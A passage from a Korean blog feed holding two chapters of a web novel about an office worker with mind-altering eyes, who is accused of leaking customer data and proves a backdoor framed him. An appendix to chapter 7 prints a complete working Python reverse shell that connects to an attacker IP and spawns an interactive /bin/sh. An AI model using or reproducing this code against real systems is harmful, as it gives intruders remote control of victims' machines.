- **utils/**: 공통 유틸리티 (드라이버 설정, 데이터 로더 등).

## 4. Commit Message Rule

- `[Type] Description` 형식을 따릅니다.
  - `[Feat]` 새로운 기능 추가
  - `[Fix]` 버그 수정
  - `[Refactor]` 코드 리팩토링 (기능 변화 없음)
  - 예시: `[Feat] 로그인 페이지 자동화 스크립트 추가`&lt;/code&gt;&lt;/pre&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/210</guid>
      <comments>https://thepin.tistory.com/210#entry210comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:11:58 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가</title>
      <link>https://thepin.tistory.com/209</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/208&quot;&gt;https://thepin.tistory.com/208&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제7화. 오해의 대가&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨, 지금 당장 보안팀으로 오세요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을 삼키며 자리에서 일어났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안팀 조사실은 창문 하나 없는 밀실이었다. 책상 위에는 내 노트북이 덩그러니 놓여 있었고, 보안팀장과 박성우 팀장, 그리고 감사팀 직원이 나를 기다리고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;본론부터 말하죠. 어제 새벽 3시, 우리 회사 고객 데이터베이스(DB)에서 VIP 회원 정보 5만 건이 외부로 유출됐습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안팀장이 모니터를 돌려 로그 화면을 보여주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;[ACCESS LOG] User: hk_lee (Lee Han-gyul) / Time: 03:14:22 / Action: EXPORT DATA&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 아이디였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨. 파이썬으로 자동화 스크립트 잘 짠다고 소문났더군요. 그 실력으로 이런 짓을 벌인 겁니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감사팀 직원이 비아냥거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아닙니다. 저는 어제 10시에 퇴근했습니다. 집에 가서 바로 잤고요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;로그는 거짓말을 안 합니다. 당신 PC에서, 당신 아이디로 접속해서 데이터를 빼갔어요. 게다가 요즘 회사에 불만이 많다는 소문도 있던데. 동료들한테 위협적인 행동을 했다면서요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임과의 사건, 그리고 나를 둘러싼 &amp;lsquo;기분 나쁜 눈빛&amp;rsquo;에 대한 소문. 그것들이 이제는 나를 범죄자로 모는 증거가 되고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;팀장님, 저 아닙니다. 믿어주세요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 박 팀장을 바라봤다. 하지만 박 팀장조차 곤혹스러운 표정으로 시선을 피했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;한결 씨&amp;hellip; 정황이 너무 확실해. 일단 조사 끝날 때까지 대기해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가슴이 답답해졌다. 억울함이 식도를 타고 넘어와 입안을 쓰게 만들었다. 내가 하지 않았다는 사실은 중요하지 않았다. 그들에게 필요한 건 범인, 그리고 희생양이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;눈을 쓸까?&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유혹이 뱀처럼 스멀거렸다. 아주 쉬운 길이었다. 지금 이 방에 있는 세 사람의 눈을 차례로 마주치고, &amp;lsquo;나는 범인이 아니다&amp;rsquo;라는 확신을 심어주면 된다. 아니, 차라리 저 비아냥거리는 감사팀 직원이 스스로 범인이라고 자백하게 만들 수도 있다. 그러면 이 지옥 같은 상황은 5분 안에 끝난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 고개를 들어 보안팀장의 눈을 보았다. 내 눈동자 깊은 곳에서 익숙하고도 위험한 보라색 빛이 꿈틀거렸다. 시신경이 뜨거워졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그 순간, 내 머릿속을 스치는 기억이 있었다. 모니터 아래 붙여두었던 낡은 포스트잇.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[FACT &amp;amp; LOGIC]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감정을 섞지 않는다. 오직 데이터와 논리로만 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 주먹을 꽉 쥐었다. 손톱이 살을 파고드는 고통이 나를 현실로 붙잡았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;아니야. 여기서 능력을 쓰면, 나는 영원히 괴물이 되는 거야. 껍데기뿐인 결백은 필요 없어.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 눈을 감았다 떴다. 보라색 잔상을 지워내고, 차가운 이성을 채워 넣었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제 노트북, 제가 직접 조사하게 해주십시오.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐라고요? 증거 인멸이라도 하려고?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;화면 미러링해서 다 보여드리겠습니다. 제가 짠 코드가 아니라면, 분명 다른 흔적이 있을 겁니다. 로그는 거짓말을 안 한다고 하셨죠? 그 로그, 제가 끝까지 파보겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 목소리에는 물러설 수 없는 결기가 서려 있었다. 박 팀장이 나를 빤히 쳐다보더니, 보안팀장에게 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;한번 기회 줍시다. 어차피 네트워크 차단돼 있어서 데이터 못 빼돌립니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 떨리는 손으로 키보드 위에 손을 올렸다. 차가운 플라스틱 감촉이 손끝에 닿자, 두려움 대신 기묘한 집중력이 차올랐다. 터미널 창의 검은 화면은 나에게 익숙한 전장이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;범인은 내 PC를 경유했어. 흔적을 지웠다고 생각하겠지만, 로그는 거짓말을 하지 않아.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 사냥꾼이 되어 0과 1의 숲을 뒤지기 시작했다. 시스템 접속 로그, 프로세스 목록, 네트워크 연결 상태... 수천 줄의 텍스트가 폭포수처럼 쏟아져 내렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;백도어(Backdoor). 분명 어딘가에 숨구멍을 뚫어놨을 거야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 먼저 현재 활성화된 네트워크 연결 상태를 확인했다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;netstat -antp | grep ESTABLISHED&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눈이 빠르게 화면을 훑었다. 0과 1의 바다. 그 속에서 이질적인 패턴을 찾아야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;찾았다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30분 뒤, 나는 숨겨진 프로세스 하나를 발견했다. &lt;code&gt;system_update.py&lt;/code&gt;라는 이름으로 위장하고 있었지만, 실행 경로는 임시 폴더(&lt;code&gt;/tmp&lt;/code&gt;)였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이거 보세요. 어제 오후 6시, 사내 메일로 온 &amp;lsquo;보안 업데이트 안내&amp;rsquo; 첨부파일이 실행된 기록입니다. 이 파일이 실행되면서 제 PC에 원격 제어 포트를 열었습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 해당 파일의 소스 코드를 열어 역추적했다. 코드는 조잡했다. 그리고 결정적으로, 데이터를 전송한 목적지 IP가 찍혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;192.168.0.15&amp;hellip; 이거 사내 IP 아닙니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안팀장의 얼굴이 사색이 되었다. 그는 급히 IP 대역을 조회했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이거&amp;hellip; 마케팅팀 공용 PC인데?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진범은 외부에 있지 않았다. 내부의 누군가가 마케팅팀 PC를 이용해 내 컴퓨터를 해킹하고, 나에게 죄를 뒤집어씌운 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제 알리바이는 증명됐습니다. 저는 해킹의 피해자이지, 가해자가 아닙니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 키보드에서 손을 떼며 말했다. 등 뒤가 식은땀으로 젖어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조사실에 침묵이 흘렀다. 감사팀 직원은 헛기침하며 시선을 돌렸고, 보안팀장은 당황해서 어쩔 줄 몰라 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;미안하네, 한결 씨. 우리가 오해했어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 다가와 내 어깨를 잡았다. 그의 손은 따뜻했다. 그리고 이번에는, 그가 내 눈을 똑바로 바라보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;자네 눈빛&amp;hellip; 아까 보니까 진짜더구만. 거짓말하는 사람 눈이 아니었어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 말에 나는 울컥 눈물이 쏟아질 뻔했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력을 쓰지 않았다. 기억을 조작하지 않았다.&lt;br /&gt;오직 팩트와 논리, 그리고 진심으로 부딪쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그제야 비로소, 사람들은 나의 &amp;lsquo;눈&amp;rsquo;이 아니라 &amp;lsquo;나&amp;rsquo;를 믿어주기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조사실을 나오며 나는 복도 창문에 비친 내 모습을 보았다.&lt;br /&gt;여전히 창백하고 지쳐 보였지만, 눈동자만은 그 어느 때보다 맑게 빛나고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;이제 알겠어.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나를 지키는 건 초능력이 아니다.&lt;br /&gt;나를 지키는 건, 떳떳함이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;933&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhv9qu/dJMcaa5kRsz/LcNR2djTyJh9VzA9n49BSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhv9qu/dJMcaa5kRsz/LcNR2djTyJh9VzA9n49BSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhv9qu/dJMcaa5kRsz/LcNR2djTyJh9VzA9n49BSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhv9qu%2FdJMcaa5kRsz%2FLcNR2djTyJh9VzA9n49BSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;666&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;933&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/210&quot;&gt;https://thepin.tistory.com/210&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422036496&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛&quot; data-og-description=&quot;제8화. 리더의 눈빛&amp;ldquo;이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.&amp;rdquo;박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/210&quot; data-og-url=&quot;https://thepin.tistory.com/210&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/beuKzh/dJMb9kl9fs7/6X2606ztV8XcDw7H4R3UK1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/b5kiJC/dJMb9eTL5o6/PiCIbDSpIn3OZKzkUYkOt1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/kmnnl/dJMb9kTZoNg/aAOg9gKS8CNJoAviPvhhck/img.png?width=1024&amp;amp;height=940&amp;amp;face=590_430_630_474&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/210&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/210&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/beuKzh/dJMb9kl9fs7/6X2606ztV8XcDw7H4R3UK1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/b5kiJC/dJMb9eTL5o6/PiCIbDSpIn3OZKzkUYkOt1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/kmnnl/dJMb9kTZoNg/aAOg9gKS8CNJoAviPvhhck/img.png?width=1024&amp;amp;height=940&amp;amp;face=590_430_630_474');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제8화. 리더의 눈빛&amp;ldquo;이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.&amp;rdquo;박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록] 한결이 발견한 악성 스크립트 (system_update.py)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import socket
import subprocess
import os
import time

# 설정: 공격자(마케팅팀 PC) IP 및 포트
# 내부망의 특정 PC로 리버스 쉘을 연결하도록 설정됨
ATTACKER_IP = '192.168.0.15'
ATTACKER_PORT = 8080

def connect():
    while True:
        try:
            # 소켓 생성 및 공격자 서버 연결 시도
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))

            # 연결 성공 시 쉘 실행 (Backdoor)
            # 표준 입력(0), 출력(1), 에러(2)를 소켓으로 리다이렉션
            os.dup2(s.fileno(), 0)
            os.dup2(s.fileno(), 1)
            os.dup2(s.fileno(), 2)

            # 쉘 실행 (원격 제어 가능 상태)
            p = subprocess.call([&quot;/bin/sh&quot;, &quot;-i&quot;])
            s.close()
            break
        except Exception:
            # 연결 실패 시 10초 후 재시도 (백그라운드 유지)
            time.sleep(10)

if __name__ == &quot;__main__&quot;:
    # 'system_update'라는 이름으로 위장하여 실행
    connect()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/209</guid>
      <comments>https://thepin.tistory.com/209#entry209comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:10:33 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자</title>
      <link>https://thepin.tistory.com/208</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/207&quot;&gt;https://thepin.tistory.com/207&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제6화. 불신의 그림자&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬 자동화 스크립트 덕분에 나는 팀 내에서 &amp;lsquo;일 잘하는 신입&amp;rsquo;으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자는 더욱 짙어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;hellip;그래서, 진짜라니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탕비실 문을 열려다 멈칫했다. 안에서 내 이름이 들려왔기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;최 주임님이 그러는데, 걔 눈을 딱 마주치면 순간적으로 뇌가 정지하는 것 같대. 그냥 멍해지는 게 아니라&amp;hellip; 누군가 머릿속을 휘젓고 다니는 느낌이라던데?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;에이, 설마. 그냥 최 주임이 요즘 스트레스 받아서 예민한 거 아니야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니야, 나도 느꼈어. 저번에 회의할 때 한결 씨랑 눈 마주쳤는데, 등골이 쭈뼛 서더라고. 사람 눈이 아니라&amp;hellip; 무슨 CCTV 렌즈가 나를 분석하는 것 같았어. 기분 나쁜 소름이 돋더라니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문고리를 잡은 손이 차갑게 식었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;머릿속을 휘젓는다. CCTV 같다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그들의 목소리에는 단순한 호기심이 아닌, 미지의 존재에 대한 원초적인 &amp;lsquo;공포&amp;rsquo;가 서려 있었다. 내가 나를 지키기 위해 사용했던 능력이, 그들에게는 영혼을 침범당하는 폭력으로 느껴졌던 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 밤새워 코드를 짜고, 팀을 위해 데이터를 정리했던 노력들은 &amp;lsquo;기분 나쁜 눈빛&amp;rsquo;이라는 프레임 아래 산산이 부서졌다. 나는 괴물이었다. 적어도 그들의 세상 속에서는.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 인기척을 내지 않고 조용히 뒷걸음질 쳤다. 도망치듯 자리로 돌아오는 내내, 심장이 불규칙하게 뛰었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오후 주간 회의 시간.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 공기는 물 먹은 솜처럼 무거웠다. 박성우 팀장이 프로젝트 이슈를 브리핑하고 있었지만, 팀원들의 신경은 온통 다른 곳에 곤두서 있는 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 내가 발언할 차례가 되자, 공기의 흐름이 뚝 끊겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이번 주 QA 리포트 공유드리겠습니다. 자동화 스크립트 적용 결과, 에러 검출률이 15% 상승했습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 최대한 차분한 목소리로 발표를 시작했다. 스크린을 가리키며 팀원들을 둘러보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 아무도 나와 눈을 마주치지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윤서아 대리는 모니터 속 엑셀 시트만 뚫어져라 보고 있었고, 다른 선배들은 내 턱이나 넥타이 매듭, 혹은 허공의 먼지를 응시하고 있었다. 마치 내 눈을 마주치면 돌이 되는 메두사를 대하듯, 필사적인 회피였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;다들&amp;hellip; 나를 피하고 있어.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 노골적인 침묵과 회피가 나를 질식하게 만들었다. 내가 설명하는 데이터와 성과는 완벽했지만, 그 성과를 전달하는 &amp;lsquo;나&amp;rsquo;라는 존재는 이 공간에서 철저히 지워지고 있었다. 나는 바이러스였다. 격리되어야 마땅한 위험인자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이상입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표를 마치고 자리에 앉자, 옆자리의 최 주임이 몸을 움찔하며 의자를 반대쪽으로 살짝 뺐다. 바퀴가 바닥을 긁는 드르륵 소리가 천둥소리처럼 크게 느껴졌다. 그의 옆모습에서는 식은땀이 흐르고 있었다. 그는 나를 경멸하는 것이 아니었다. 그는 나를 &amp;lsquo;무서워하고&amp;rsquo; 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의가 끝나고 자리로 돌아온 나는 모니터의 검은 화면에 비친 내 얼굴을 바라봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;창백한 피부, 퀭한 눈.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;내가 괴물인가?&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스스로에게 물었다. 능력을 써서 위기를 모면하려 했던 건 사실이다. 욱하는 마음에 최 주임에게 살의를 심어버린 것도 사실이다. 하지만 나는 그저 살아남고 싶었을 뿐인데. 약한 몸으로, 이 치열한 사회에서 버티기 위해 발버둥 쳤을 뿐인데.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;억울함이 목구멍까지 차올랐다. 나는 이제 정말로 노력하고 있는데. 능력이 아니라 실력으로, 진심으로 다가가려 하는데. 이미 씌워진 &amp;lsquo;불신&amp;rsquo;의 프레임은 내 진심을 왜곡하고, 내 노력을 기만으로 만들고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;띠링.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사내 메신저가 울렸다. 윤 대리였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[윤서아 대리] 한결 씨, 아까 발표 좋았어요. 근데 너무 긴장한 것 같아요. 표정이 굳어 있어서 다들 좀 어려워하는 것 같네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그녀 나름의 위로였겠지만, 그 말조차 아프게 다가왔다. 내가 긴장해서 굳은 게 아니라, 당신들이 나를 괴물 보듯 해서 얼어붙은 건데. 그녀조차 나를 온전히 이해하지 못한다는 사실이 뼈아팠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 안경을 벗어 책상 위에 올려놓았다. 그리고 양손으로 얼굴을 감쌌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결심이 섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;다시는 능력을 쓰지 않겠어.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 안 쓰는 정도가 아니다. 아예 내 눈이 무기가 될 수 있다는 가능성 자체를 차단해야 했다. 사람들이 나를 두려워한다면, 그 두려움의 근원을 스스로 봉인하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 서랍에서 포스트잇을 꺼내 모니터 하단에 붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[FACT &amp;amp; LOGIC]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감정을 섞지 않는다.&lt;br /&gt;눈을 맞추며 설득하려 하지 않는다.&lt;br /&gt;오직 데이터(Fact)와 논리(Logic)로만 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람들이 나를 기분 나쁜 최면술사로 생각한다면, 차라리 감정 없는 기계가 되어주겠다. 감정을 거세하고, 오직 0과 1로만 이루어진 결과값만 내놓는 부품이 되겠다. 그게 서로에게 안전하다면.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨, 잠깐 나 좀 볼까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 나를 불렀다. 나는 안경을 다시 썼다. 도수 없는 안경알이 차가운 빛을 반사했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네, 팀장님.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 자리에서 일어났다. 박 팀장에게 걸어가는 동안, 나는 시선을 바닥에 고정했다. 그의 눈을 보지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제부터 나는, 눈이 없는 사람이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것이 이 차가운 불신의 그림자 속에서 내가 선택한 생존 방식이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
